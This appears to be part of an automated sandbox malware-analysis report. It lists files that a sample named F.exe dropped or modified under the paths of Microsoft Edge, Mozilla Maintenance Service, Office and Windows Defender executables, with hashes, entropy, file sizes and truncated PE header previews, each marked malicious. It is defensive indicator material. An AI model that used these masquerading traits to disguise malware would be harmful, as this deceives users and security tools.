MD5:	391A248273BFC2C0361AE5DFE61F6D1B
SHA1:	0BD38C25FE4CC60BCB67ABC8E7407F0135E61FD1
SHA-256:	AEF2E2B2AE1722A9D53DF0A40DD3B126AE40DEBB5176C150DA67AA72392AD6DE
SHA-512:	B5F345FE14835806C1273DFC6C9C1E993D9EF469E8D146BB466816748A8F432362734B72D9BB79848C2C50AE103273FF723E865C649A53D6D1130A8DEB2003DA
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1535528
Entropy (8bit):	6.517119310826715
Encrypted:	false
SSDEEP:	12288:+406WoyJHeFOqDRA7uKk+TjnkgiMnQq+UI7MBImQWkv7yfOYIXbwohMA+nkXZnHC:HW9Jml9mmijZiMnF+ZxmQWcbLw8Vi
MD5:	20628DE11335D9E9C180E82B8DA8C6F4
SHA1:	3214ED9228E71E72D86A3F9ECFB0F3B7A8AEAE8B
SHA-256:	1A1CC93F0239D3A342B27EF97020EF7DCC522BE9A8EEC0220C52B69E098EACCD
SHA-512:	138B4E13BFDC8ED20854432609FFC90852DF667507D7C0DA77D4F817A32A55D084CEEA30184D9DE444DA5A949665532F021E01BF30D261803DBF31E18BA6A8FE
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1273384
Entropy (8bit):	6.515185633103735
Encrypted:	false
SSDEEP:	12288:u5eN+kL3gVeYt/uakJMtleRO40BbdJrPVJAzAlPY6mYzJuomPMA+nkVogIkd9:uwNHwoYhua6MtERO4qbBJTY6mY1uIgp
MD5:	DA3D6D82C0A5DAB32AD539A41B2292C9
SHA1:	69A16AE6620EBC4E3AB589A77C3875332CD9EFDD
SHA-256:	B68881B7F63772E7D7002EF6ADFE43870760808167260F1FE2578808F47F67ED
SHA-512:	E75F6C20E0BE447C014874769E9037946DFBD602602AE6A1D5D197504FF5F13D5C6FABA3A93E0658E8B70A66B37790D500DF03D8FA6CA01A21FB08F461F1E74E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4251688
Entropy (8bit):	6.506317829104403
Encrypted:	false
SSDEEP:	49152:bpawZh+vD5oLv9eqJ/iUPnspBu/MLPgyLMLQB4gQDyJ0ryMOAqk9l/hO2y/BT:QehFLvTQDpB5oSOmlBl
MD5:	6D080AAFAA8CE83776195B5B124103FF
SHA1:	8C8809935FA73EB7A18FBD8023B0636765DA9C09
SHA-256:	6AF714C0C52FE584E9B4E9EF39D4DE723C509BF9082476BA3C5B97DCB2D3E4F3
SHA-512:	F7C81889032AFFD9BF288A4B34ECD026B9EC6E5BF74D3D4EFF229029D63B33B26CD0B178AD95FD6BE728414882678F8E36C0C1373D21A32367E9508CCCE7EB25
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1319976
Entropy (8bit):	6.503786677710061
Encrypted:	false
SSDEEP:	12288:Uyeb4D2VLtrQA1Yim7XGLZxHwlqxlThfkY8bo0cITiLEpPoVfMA+nkthF2g0oz5:UiD2VmA1YXQHwlklb8boUuWPg2gX
MD5:	9CF33C2C22730E0C3C7F65154ABFD0A7
SHA1:	7ED4EB14D0A8174B75E4C5F0B06B4DB54F53429F
SHA-256:	FA5E80F107D15EA38675A3A544DA56AA245DB5421D64A162ECB4C159A6CBE229
SHA-512:	CD21A5AB79A0DDCE0F88C57D3E8E4B56C093B12E6CD74DF3AA234D1EB2C8C1D7E4412083836D102B5E4BB545177EC58D5E8FC21216DAB8AEC92D0D3F02026FAC
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1273384
Entropy (8bit):	6.515185633103735
Encrypted:	false
SSDEEP:	12288:u5eN+kL3gVeYt/uakJMtleRO40BbdJrPVJAzAlPY6mYzJuomPMA+nkVogIkd9:uwNHwoYhua6MtERO4qbBJTY6mY1uIgp
MD5:	DA3D6D82C0A5DAB32AD539A41B2292C9
SHA1:	69A16AE6620EBC4E3AB589A77C3875332CD9EFDD
SHA-256:	B68881B7F63772E7D7002EF6ADFE43870760808167260F1FE2578808F47F67ED
SHA-512:	E75F6C20E0BE447C014874769E9037946DFBD602602AE6A1D5D197504FF5F13D5C6FABA3A93E0658E8B70A66B37790D500DF03D8FA6CA01A21FB08F461F1E74E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	225232
Entropy (8bit):	5.9169842072110015
Encrypted:	false
SSDEEP:	3072:zr8WDrCFcxiNNpCPPQPg2cluc/Xswbz8cz3quKoNX1gd:PuFcwVz4B8c37KoNX1q
MD5:	B50DDBDB05BF0BB57476EA6C5A032B2D
SHA1:	75D97A80167D3AB18ECA1B1A990B894F691584B2
SHA-256:	5074A5357D42806C87926B169CD558E653349DF7E44354EC85460C0A2C95C50B
SHA-512:	FA6DBD13E3E85C5098B6A866E7F399AECDCD4FDD53ED3F60F9EE20F8ABC156F2F272B155B5BCD79F4424E89C8045094560575CBA622327D6661A4947D7D35D46
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	247760
Entropy (8bit):	5.766587112108476
Encrypted:	false
SSDEEP:	3072:zr8WDrCQW4l/DReos0gXf+EvC6C36eCWdMuoB+ISzBqUGxNtvKAbFP3cSEt0phcf:Puml/DRfkTC3dM7B+mCivAT
MD5:	886E05881670C2B29D17DF6823B38A66
SHA1:	4CB79B5F1DA8FE8079518B65FFFDB99EB0A3D76F
SHA-256:	AEEB4BAAD144DB01611C82FA0D8F0029F3EF777101740829E7F6D8D453E31D6D
SHA-512:	9FFF6FA38B694ABC945F515A78CFA793D6AB8E7977A2973A5B69265A965DFC76C6A77D48366D5A98EB4D4460A878BE02C95C828066E42FB3F4F64CCD30D93987
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	142288
Entropy (8bit):	6.418539700023223
Encrypted:	false
SSDEEP:	3072:zr8WDrCs684ePKoTB+IvoAewtxUff8aohGme+YDfYz8FrR7:PuQrTB+AleYIkifYUF
MD5:	3856508A91D399E375B350B0C1423FFD
SHA1:	9747673D2FAF4EC499A05B3DFB80431029C17507
SHA-256:	B7E5B278ECB57EDBF3C121517B5CBE0B37C29D7A1F9BE1E121776C59B39F3E37
SHA-512:	77037E2A7F8A466D85F3A5CD2C19DA8D9795297BACA6477D8B39C29D7CBAE8641D6CE300F59035A674F749002B79199211C2955936AEB4DA0C7C6CDAB8636A1D
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	259024
Entropy (8bit):	6.086004749509324
Encrypted:	false
SSDEEP:	3072:zr8WDrCTXEV0tle+5IbvBCMmNginHy8lZoY46Mu/rLogrlKq9YXI35EvMl:PuTUVwleMITTmNv1ohWsqYI354I
MD5:	C37E3B17146D3DF38E578862AEA8C6AC
SHA1:	4587242D000A11BF98779F074BB15989A9E57AC2
SHA-256:	FE9F873C55826F1C1CA88289966923B9B6FB330C2B46261B682584711B0A35D8
SHA-512:	D28917D093AF944094FF56D5712CC0AC9BBCE3337A524E9B95487510CF5ACD2608EA7914CCA920CA9BE5AA7F6CA808B920AEE6D596ECD74DB3B2551BC77047D2
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	305120
Entropy (8bit):	6.411066493542914
Encrypted:	false
SSDEEP:	6144:PumFKucTm3RhMfoSG5dCd7hjAOe9UmXY2Gh++CgBlPMoX:vKucTm3RhMfoSBjA9U2Yxh+Zgb7X
MD5:	A44E4ED52DB101B90FC40FBD77EE5813
SHA1:	E1EA013D66084E842EE75CDF1A20F2C5C7C1D920
SHA-256:	A107A456D15142E351FA622010D0F75EDD8E331C147DF974A5EF1D8889700749
SHA-512:	30EBA6D8ECA2E67D40DA256558E758EE5A457E40E2D4A1CA1FFA175E063B6983F23210E35F7BA857E0F87A550511C8C5AE7F748D90B37F847432DC60B6916C0F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	142288
Entropy (8bit):	6.419211340608754
Encrypted:	false
SSDEEP:	3072:zr8WDrCDaivqozB+IvcZ4wrZU+l/8xoAm2+YDfYz8GrR/:PujzB+Aw4CZNr2fYLl
MD5:	66668951BA49BF63140B9DC5384B12FF
SHA1:	864CF0FC89B1EC2FC0F7F86231001C606D95C626
SHA-256:	316FB2C43692DD48BF49D92F62393E1FEF23A024776398E25B5B08F2CB7601F0
SHA-512:	523138612680231D11AAC37F70C649334D8070D263DFA87A6DE9863C5C0A4E0AD6805F02EA29ABB99645CF55A3312B9101C0B06935F416BA5F33BFD8BC42E930
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1640416
Entropy (8bit):	7.91251877420056
Encrypted:	false
SSDEEP:	24576:dwy53G70SeiN9YqxCCg83udcWXDYajPF2410wuRpGfFki94qSe/wsNfzUG:Cy53w24gQu3TPZ2psFkiSqwozX
MD5:	352C6224D8440DF99EC9BCB6D1205994
SHA1:	6E0D04A6F207B83B385F09F43E1C1AA4519399A6
SHA-256:	5F579E51C94992CFD86C111D09F84E328F373073903E51D7C02AC77697D682EF
SHA-512:	9175FB5E4524C95C706C4147B700155BD551842F2890D737C635DF8B684585AAFF2E41EC2B81BA0BA941ADCDB51BFA9DAE09C2440E4B5EAEA9524462F0ADF08A
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144866
Entropy (8bit):	6.2324558335577
Encrypted:	false
SSDEEP:	3072:zr8WDrCkRD5b0qZ7y4jem7y6tkNRCywDw1DiJkuKUY:PuGD5lZ7y4j9KT4DteUY
MD5:	D709786C68534D0465D77BDE302F7065
SHA1:	6E113BCB0876FDDDC39B31D1F364AC1C3B0F9B40
SHA-256:	8F98C63531C25555C4ED421DC87B670C763690A82E9B2D76A59D2233AC500636
SHA-512:	47295791D6181ABB9F777E85ADE7425A34C497A5E4E5B483104DE6105D9CE49D9FD7A342BE5B469528176DB4E63D0A5117F9E6C969B999B7F87FE1076DB14B86
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	280480
Entropy (8bit):	6.382752729567392
Encrypted:	false
SSDEEP:	6144:Pu6Pr2vXzrEbslNp/JNsJKQl0GkRAqVNf0O3:7DQXRVTZu0GP+ZR
MD5:	25156B6B2ACFE0D4284F3842C0F1FD9F
SHA1:	C3C3387E29A3C045104FBA65357B73D36CB72F96
SHA-256:	1F32EEC314E0AEE4B61FAEE41B8D2D882AA49E3D49906E2F91FD842C574D2E17
SHA-512:	77B19A7D771681CC8AF1456013761626620EBCA8B336BD728ACE88B67E7E8D20812918BB588B5D06EF1E722607442ACECAF0BCD2274C912520F3125517157ECC
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4473576
Entropy (8bit):	6.5697251244545924
Encrypted:	false
SSDEEP:	98304:9kkCqyDEY7+o3OBvfGVY+40yajyS+9s/pLOq:9kkCqaE68eV+0y8E6L1
MD5:	A0E84CEDA4163F189BE5349FD432B1CB
SHA1:	204335080CD8BA8D46E52DFB29F1461D7BF84CA1
SHA-256:	9A8C97840B4745ABA6BE44CAE7DE9EC0E7960AE31E52DFDE4ACCB1C24B6C4DA7
SHA-512:	BE941C507F9A607087E96CDBA94358F4882BA231CC08E6AAE8480301A5FF82940630134F9DB780B9527F43DD83ABE5D4868759854D2517A6D6A87A26903FCC9F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	501656
Entropy (8bit):	6.316687804131066
Encrypted:	false
SSDEEP:	12288:mLH18t6x1hjaNHBlfBVDZS82JninSFVlDW:mLOwxyNHBVEHRiSFVlDW
MD5:	EE696711CF9AC80FC9EFBB26B76ABCFE
SHA1:	A2E66B1A8970B93B055B783F1FE600A5EA861690
SHA-256:	9DA9F59CB0DF8F42679E524FDF590843F68D1413BB1F36335B361245F5FD7170
SHA-512:	5A6E226B94364E8F0312D8DE64192A5343EB5E370BC5E10F373458C871A25ABE7520E55AD68279FD215820CABEDADDE4ACA9A01071370B980B62A0126AAB2A94
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1637776
Entropy (8bit):	6.316076233282021
Encrypted:	false
SSDEEP:	24576:z7Z1jyzcKSmKsvwMZJ1XBsn/gu2bRC6dulyyn2WdXM6cWlLIJ:/Z1tKTwMZJ1XBsn/UC6dugWA
MD5:	2E0AE929AA0C46D1850BD2064954D911
SHA1:	C27307CF87ABAA9CB17C869583BEC5DBB57A3C41
SHA-256:	BB21F5661BC8569FBAD37E05E000529EA09A93DF9CE906AC798B6FF87C39DB52
SHA-512:	6F79861A391A35B7634EA05FD37B28ECEA234FE91AC44B3F2DD365F49C9338AA43D5EF40B80588343E7C1B05D2B358F9516F2696F6DB1E4D9D8EA87CBFADB1E1
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	224632
Entropy (8bit):	5.620193770987743
Encrypted:	false
SSDEEP:	3072:zr8WDrCvFtCsHjgU7HOg6KTe/+EypudsD22QnSUEhydebz41:Pu9tx0SA+EySaQKeUz41
MD5:	96A64BD0E265640FFAFD214049708702
SHA1:	DA525339352A6F40A51DD61FE17149EC37E69C61
SHA-256:	4E88BCEBE61AFD28AD1EC55523F1656CA98F02806531CEFFCA55F2598674CFFA
SHA-512:	EA63C18E5AB547A7F76C6BD2F721296B400E2D6FE89C45DFD8DFAB86A794D171A44487CAB0C8DC2328F9DC92C239BB1E2BF55D7C903791EF341BD88FEAE28FB0
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	431336
Entropy (8bit):	5.901379876199201
Encrypted:	false
SSDEEP:	6144:PuYzBRUKCBTwZVr2miTVVmVVV8VVNVVVcVVVxVVVPVVlVVVRVVVtVVWV60jVLVV+:jzBRnCBOrsBOBf
MD5:	E7C3CF515AE2F8559EB6E76D748D667F
SHA1:	265615DC51ACBDE842A9A012D03732AA4BF9DDE9
SHA-256:	A2CAC1656374C752299952716F9021B3E15497166FA936A1BAD6AB7C39FE7F8A
SHA-512:	9034265306CF0A5D467C652FEAE1AD6FB4798B527A8C58EED576137582EBF6F24DD25D9EC9D977C93A489E749F1F1A20503B508C168CC9C54419AEDA9B044458
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	175160
Entropy (8bit):	5.99132731187077
Encrypted:	false
SSDEEP:	3072:zr8WDrC2/VpSIcnsHKTe8LnZCA5OfkQAm95kQOJeqx6u:Pu2tkIpdA5OfzDUeqx6u
MD5:	C41D1423579C9814533D2E30DA685786
SHA1:	B8AE1B9A8EA125CFA003E1404F44F825F3EFA4AE
SHA-256:	BEE3417F4A10BA18D5DDF56EF7D3AF8597164CE62C74D4E979E09BAD6C7D6509
SHA-512:	52DC28327704F55153CB10ADB7686D5469698D07ECF6E03B223F8DE2C32DF5296BA7E0190E37A58ECCA264C1B045CF7CA1F2AE35F15BA4F43B51D92961F7F90E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3162480
Entropy (8bit):	6.468488558909844
Encrypted:	false
SSDEEP:	49152:vnW4jqFRZega3xejvY7GQOx4K1fm15FKqO7t78Ity6fod76lmlW8U:ms3OBj4UmOH
MD5:	3A5E520F6C98AFDEA3D5D2D92483C739
SHA1:	A578D0612B92D4E3D3C913B06BE977EDFA7ACC20
SHA-256:	BE77D2388C60AB0610D2B49BF1883F24B40C33C767160FBF178F2EF3EA3834AE
SHA-512:	A3451E0C8CAF184343F68D29406D95BFBDE38F03C8AD0FFC4EDED0B3F4942ACE98D17189C574364730A7BF0F249808371175063312A00F9D85EABB61A5657673
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1309408
Entropy (8bit):	6.49550103750245
Encrypted:	false
SSDEEP:	24576:9+sGOL9NLM3r4Viwj6KLqGua43loEeUFmwv:94AA4eGua43lgUFrv
MD5:	EAD6386843778A730062C698AA030740
SHA1:	F24C8F0717004F67681BC64DACD4187A98D596B2
SHA-256:	D932B4622D4D9A52924CB1540B483EF7163D67263A0E0EBA11504B73295B8D80
SHA-512:	0E7641E940526213DFD1627CC80852FE8DC6D9ED3582E30FF355DD56978794B850081082FE7B798152D8AE0E437212471C3C615714FF9CE1DC87434235716516
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922944
Entropy (8bit):	6.460885615415187
Encrypted:	false
SSDEEP:	12288:R9/Bro8OEYbhEdbsrg4Sxz2/Sl92ncG15fQ224i5pQ+poPCcqyt4:n/BrnYuqFcL3pQ+pDX
MD5:	F0BF9ADF513239520A14EB785BDD5886
SHA1:	F1915F5400458CA477B5E90DE9A2C5C4DDC132CB
SHA-256:	AC67389D5DA5FC3A99576D5832BEC09D66B41E751A15B1B53349A3003EF14DFE
SHA-512:	13CC35E7344418CF48E95525F351585652B9A499FF674DE766AED5D7B35F93F60FA9639AF011E0FCEB5F63AD895EDDBE0054EFE98922811BBE6206E52197AF82
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

